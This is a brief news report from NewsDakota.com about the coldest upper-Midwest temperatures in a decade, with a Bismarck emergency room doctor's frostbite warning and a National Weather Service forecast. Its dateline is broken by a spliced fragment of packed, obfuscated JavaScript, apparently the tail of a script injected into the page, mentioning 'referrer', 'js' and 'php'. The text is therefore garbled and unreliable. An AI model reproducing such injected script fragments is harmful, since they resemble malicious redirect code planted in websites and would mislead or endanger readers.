BISMARCK, ietrh|var|u0026u|referrer|zfyzh||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) The coldest temperatures hit the upper Midwest in a decade are upon us and emergency room doctor Jeffery Sather in Bismarck says bundle up to protect your exposed skin against frostbite.

The bitterly cold temperatures in the Dakota’s and Minnesota are expected to moderate by Wednesday or Thursday according to the National Weather Service.